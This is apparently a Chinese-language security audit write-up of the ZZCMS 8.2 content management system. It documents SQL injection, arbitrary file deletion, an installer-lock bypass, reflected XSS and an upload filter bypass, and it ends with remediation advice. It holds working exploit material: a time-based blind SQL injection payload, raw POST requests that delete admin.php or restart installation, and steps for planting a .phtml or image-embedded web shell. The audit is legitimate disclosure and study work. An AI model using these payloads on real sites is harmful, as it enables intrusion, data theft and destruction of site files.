代码审计 | zzcms8.2
字数 1438 2025-08-18 11:39:26

ZZCMS 8.2 代码审计报告

1. 审计概述

本次审计针对 ZZCMS 8.2 系统,使用 Seay 源代码审计系统辅助进行。审计发现了多个安全漏洞,包括 SQL 注入、任意文件删除、网站重装漏洞、XSS 和文件上传漏洞等。

2. 审计工具与方法

2.1 审计工具

  • Seay 源代码审计系统
  • 全局定位搜索功能
  • 自动审计功能

2.2 审计方法

  1. 导入项目源码
  2. 执行自动审计
  3. 根据扫描结果进行人工验证
  4. 重点关注用户输入与数据库交互部分

3. 漏洞分析

3.1 SQL 注入漏洞

3.1.1 漏洞位置

  • /user/del.php
  • /user/check.php
  • /user/logincheck.php
  • /admin/logincheck.php

3.1.2 漏洞详情

漏洞点1:IP伪造注入

query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE username='".$username."'");

getip()函数从多个HTTP头获取IP地址,未经过滤:

function getip() {
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    elseif (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return ($ip);
}

漏洞点2:$tablename直接拼接

if (strpos($id, ",")>0)
    $sql="select id,editor from ".$tablename." where id in (".$id.")";
else
    $sql="select id,editor from ".$tablename." where id='$id'";

3.1.3 利用方式

改进的Payload:

id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

3.2 任意文件删除漏洞

3.2.1 漏洞位置

  • /user/adv.php
  • /user/licence_save.php
  • /user/manage.php
  • /user/ppsave.php
  • /user/zssave.php

3.2.2 漏洞详情

/user/adv.php 漏洞代码:

if ($oldimg<>$img){
    $f= "../".$oldimg;
    if (file_exists($f)){
        unlink($f);
    }
}

/user/licence_save.php 漏洞代码:

if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
    $f= "../".$oldimg;
    if (file_exists($f)){
        unlink($f);
    }
}

3.2.3 利用方式

Payload示例:

POST /user/adv.php?action=modify HTTP/1.1
Host: 192.168.1.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 149

adv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php&Submit3=发布

3.3 网站重装漏洞

3.3.1 漏洞位置

  • /install/index.php
  • /install/step_2.php/install/step_6.php

3.3.2 漏洞详情

只有/install/step_1.php检查了install.lock文件:

if(file_exists("install.lock")){
    echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除/install/install.lock文件</div>";
}

其他步骤文件缺少此检查,导致可绕过安装锁定。

3.3.3 利用方式

直接访问后续步骤:

POST /install/index.php HTTP/1.1
Host: 192.168.1.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

step=2

3.4 反射型 XSS 漏洞

3.4.1 漏洞位置

  • /inc/top.php
  • /uploadimg_form.php

3.4.2 漏洞详情

/inc/top.php未包含/inc/conn.php,未对输入进行过滤:

if (@$_POST["action"]=="search"){
    echo "<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POST["keyword"]."'</script>";
}

3.5 文件上传漏洞

3.5.1 漏洞位置

  • /uploadimg.php

3.5.2 漏洞详情

文件类型检查可绕过,黑名单不完整:

$hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false || strpos($hzm,"jsp")!==false){
    echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";
    exit;
}

缺少对.phtml的过滤,Apache会将其作为PHP解析。

3.5.3 利用方式

  1. 使用.phtml后缀
  2. 使用图片木马:copy test.jpg/b+test.php shell.jpg

4. 安全建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤
    • 使用白名单机制替代黑名单
  2. SQL注入防护

    • 使用预处理语句
    • 对特殊字符进行转义
  3. 文件操作安全

    • 限制文件删除操作的目录范围
    • 验证文件路径合法性
  4. 安装安全

    • 在所有安装步骤检查install.lock
    • 安装完成后删除安装目录
  5. XSS防护

    • 对所有输出进行HTML实体编码
    • 设置Content Security Policy
  6. 文件上传安全

    • 使用文件内容检测而非扩展名
    • 限制上传文件类型
    • 存储上传文件到非Web目录

5. 审计总结

ZZCMS 8.2 存在多处安全漏洞,主要问题集中在:

  • 用户输入未充分过滤
  • 黑名单机制不完善
  • 关键操作缺乏权限验证
  • 安装流程设计缺陷

建议开发者参考OWASP安全开发指南,建立完整的安全开发流程,定期进行代码审计和安全测试。

ZZCMS 8.2 代码审计报告 1. 审计概述 本次审计针对 ZZCMS 8.2 系统,使用 Seay 源代码审计系统辅助进行。审计发现了多个安全漏洞,包括 SQL 注入、任意文件删除、网站重装漏洞、XSS 和文件上传漏洞等。 2. 审计工具与方法 2.1 审计工具 Seay 源代码审计系统 全局定位搜索功能 自动审计功能 2.2 审计方法 导入项目源码 执行自动审计 根据扫描结果进行人工验证 重点关注用户输入与数据库交互部分 3. 漏洞分析 3.1 SQL 注入漏洞 3.1.1 漏洞位置 /user/del.php /user/check.php /user/logincheck.php /admin/logincheck.php 3.1.2 漏洞详情 漏洞点1:IP伪造注入 getip() 函数从多个HTTP头获取IP地址,未经过滤: 漏洞点2:$tablename直接拼接 3.1.3 利用方式 改进的Payload: 3.2 任意文件删除漏洞 3.2.1 漏洞位置 /user/adv.php /user/licence_save.php /user/manage.php /user/ppsave.php /user/zssave.php 3.2.2 漏洞详情 /user/adv.php 漏洞代码: /user/licence_ save.php 漏洞代码: 3.2.3 利用方式 Payload示例: 3.3 网站重装漏洞 3.3.1 漏洞位置 /install/index.php /install/step_2.php 至 /install/step_6.php 3.3.2 漏洞详情 只有 /install/step_1.php 检查了 install.lock 文件: 其他步骤文件缺少此检查,导致可绕过安装锁定。 3.3.3 利用方式 直接访问后续步骤: 3.4 反射型 XSS 漏洞 3.4.1 漏洞位置 /inc/top.php /uploadimg_form.php 3.4.2 漏洞详情 /inc/top.php 未包含 /inc/conn.php ,未对输入进行过滤: 3.5 文件上传漏洞 3.5.1 漏洞位置 /uploadimg.php 3.5.2 漏洞详情 文件类型检查可绕过,黑名单不完整: 缺少对 .phtml 的过滤,Apache会将其作为PHP解析。 3.5.3 利用方式 使用 .phtml 后缀 使用图片木马: copy test.jpg/b+test.php shell.jpg 4. 安全建议 输入过滤 : 对所有用户输入进行严格过滤 使用白名单机制替代黑名单 SQL注入防护 : 使用预处理语句 对特殊字符进行转义 文件操作安全 : 限制文件删除操作的目录范围 验证文件路径合法性 安装安全 : 在所有安装步骤检查 install.lock 安装完成后删除安装目录 XSS防护 : 对所有输出进行HTML实体编码 设置Content Security Policy 文件上传安全 : 使用文件内容检测而非扩展名 限制上传文件类型 存储上传文件到非Web目录 5. 审计总结 ZZCMS 8.2 存在多处安全漏洞,主要问题集中在: 用户输入未充分过滤 黑名单机制不完善 关键操作缺乏权限验证 安装流程设计缺陷 建议开发者参考OWASP安全开发指南,建立完整的安全开发流程,定期进行代码审计和安全测试。